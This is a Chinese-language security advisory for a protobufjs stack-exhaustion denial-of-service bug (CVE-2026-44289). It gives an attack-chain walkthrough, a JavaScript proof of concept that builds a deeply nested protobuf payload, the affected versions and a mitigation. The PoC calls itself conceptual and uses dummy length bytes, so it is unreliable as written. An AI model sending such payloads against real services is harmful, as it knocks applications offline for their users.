IPBUF安全漏洞报告
English
CVE-2026-44289 CVSS 7.5 高危

CVE-2026-44289 protobufjs栈耗尽拒绝服务漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44289
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
protobufjs

相关标签

拒绝服务栈耗尽protobufjsCVE-2026-44289DoSJavaScript

漏洞概述

protobufjs是一个将protobuf定义编译为JavaScript函数的库。在7.5.6和8.0.2版本之前,该库在解码嵌套protobuf数据时未限制递归深度,导致存在无限递归风险。攻击者可利用此漏洞构造恶意的protobuf二进制数据包,在解码过程中耗尽JavaScript调用栈,从而引发应用程序崩溃或拒绝服务。该问题影响未知组字段的跳过和嵌套消息字段的解码,现已修复。

技术细节

该漏洞的根本原因在于protobufjs在解码过程中处理嵌套结构(如嵌套消息或未知组字段)时,没有设置递归深度的上限。当解析器接收到深度嵌套的protobuf二进制数据时,会不断进行函数调用或递归操作。由于JavaScript引擎的调用栈大小是有限的,这种无限制的递归会迅速消耗栈空间。一旦栈空间耗尽,运行时环境将抛出“Maximum call stack size exceeded”等异常,导致当前进程终止或服务不可用。攻击者无需认证即可通过网络发送特制的恶意数据包触发该漏洞,从而实施拒绝服务攻击。

攻击链分析

STEP 1
侦察
攻击者识别出目标应用程序使用了易受攻击版本的protobufjs库(< 7.5.6 或 < 8.0.2)。
STEP 2
构造负载
攻击者构造一个包含极深度嵌套消息或未知组字段的恶意protobuf二进制数据包。
STEP 3
发送请求
攻击者通过网络将恶意数据包发送给目标应用程序的解析接口。
STEP 4
触发漏洞
目标应用程序使用protobufjs解码数据,由于缺乏深度限制,解码器开始无限递归。
STEP 5
耗尽资源
递归调用迅速耗尽JavaScript的调用栈空间。
STEP 6
拒绝服务
应用程序抛出异常并崩溃,导致服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-44289: Protobufjs Stack Exhaustion (DoS) // This script demonstrates the vulnerability by attempting to decode a // deeply nested protobuf payload which causes stack overflow. const protobuf = require("protobufjs"); // 1. Define a recursive message structure const schema = ` syntax = "proto3"; package poc; message Level { Level next = 1; } `; async function runPoC() { const root = protobuf.parse(schema).root; const Level = root.lookupType("poc.Level"); // 2. Create a malicious payload with deep nesting // Manually constructing a protobuf binary with deeply nested fields. // Each nested group adds a frame to the call stack. const depth = 20000; // Sufficient depth to exhaust stack let bufferParts = []; // Protobuf wire format for nested message (Type 2, Field 1) // This is a simplified representation of a crafted binary payload for (let i = 0; i < depth; i++) { // Start_nested_message (Field 1, Wire Type 2): Tag 0x0A (00001 010) bufferParts.push(Buffer.from([0x0A])); // Length of the inner message (dummy length for demonstration) // In a real exploit, lengths must match the inner content size bufferParts.push(Buffer.from([0x02])); } // Fill end bytes to balance length roughly (Conceptual PoC) for (let i = 0; i < depth; i++) { bufferParts.push(Buffer.from([0x00, 0x00])); // Dummy data } const maliciousPayload = Buffer.concat(bufferParts); console.log(`Sending payload with estimated depth: ${depth}...`); try { // 3. Trigger the vulnerability // The decode function will recurse infinitely until stack crash Level.decode(maliciousPayload); console.log("Exploit failed (Version might be patched)"); } catch (e) { console.log(`[+] Crashed application: ${e.message}`); } } runPoC();

影响范围

protobufjs < 7.5.6
protobufjs >= 8.0.0, < 8.0.2

防御指南

临时缓解措施
如果无法立即升级,建议在解码 protobuf 数据之前实施输入验证层或中间件,限制嵌套结构的最大深度,以防止栈耗尽攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表